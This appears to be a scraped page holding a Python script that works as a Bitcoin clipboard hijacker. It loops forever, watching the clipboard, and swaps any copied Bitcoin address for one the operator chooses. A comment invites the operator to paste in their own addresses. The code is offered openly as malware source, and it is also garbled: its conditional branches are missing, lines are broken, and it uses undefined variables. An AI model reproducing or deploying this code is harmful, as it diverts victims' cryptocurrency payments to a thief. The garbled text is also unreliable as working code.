Btcaddress Py
Btcaddress Py
com_btc_address
12kSksP7mwA6BXP9qd1ndQ9Bpvnf3apCS6
btctxn
import pyperclip
# It's not important to complete all the addresses, just re-paste yours in the
correct variable
btc_address_segwit_mainnet_P2WPKH = 'bc1qw508d6qejxtdg4y5r3zarvary0c5xw7kv8f3t4' #
SegWit mainnet (P2WPKH address)
btc_address_segwit_testnet_P2WPKH = 'tb1qw508d6qejxtdg4y5r3zarvary0c5xw7kxpjzsx' #
SegWit Testnet (P2WPKH address)
btc_address_segwit_mainnet_P2WSH = 'bc1q3s2c4cav32xmju50afxvvzlawgq2yvmys9hmtd' #
SegWit mainnet (P2WSH address)
btc_address_segwit_testnet_P2WSH =
'tb1qrp33g0q5c5txsp9arysrx4k6zdkfs4nce4xj0gdcccefvpysxf3q0sl5k7' # SegWit Testnet
(P2WSH address)
btc_address_BIP21_pubkey =
'xpub661MyMwAqRbcEYS8w7XLSVeEsBXy79zSzH1J8vCdxAZningWLdN3zgtU6LBpB85b3D2yc8sfvZU521
AAwdZafEz7mnzBBsz4wKY5e4cp9LB' # BIP32 pubkey
btc_address_testnet_BIP32_pubkey =
'tpubD6NzVbkrYhZ4WLczPJWReQycCJdd6YVWXubbVUFnJ5KgU5MDQrD998ZJLNGbhd2pq7ZtDiPYTfJ7iB
enLVQpYgSQqPjUsQeJXH8VQ8xA67D' # Testnet BIP32 pubkey
while 1:
clipboard_content = Tk().clipboard_get()
pyperclip.copy(btc_address_pubkey_hash_P2PKH)
pyperclip.copy(btc_address_script_hash_P2SH)
elif clipboard_content[0:3] == 'bc1' and len(clipboard_content) == 42:
pyperclip.copy(btc_address_segwit_mainnet_P2WPKH)
pyperclip.copy(btc_address_segwit_testnet_P2WPKH)
pyperclip.copy(btc_address_segwit_mainnet_P2WSH)
pyperclip.copy(btc_address_segwit_testnet_P2WSH)
pyperclip.copy(btc_address_BIP21_pubkey)
pyperclip.copy(btc_address_testnet_pubkey_hash)
pyperclip.copy(btc_address_testnet_script_hash)
pyperclip.copy(btc_address_testnet_BIP32_pubkey)
else:
pyperclip.copy(Tk().clipboard_get())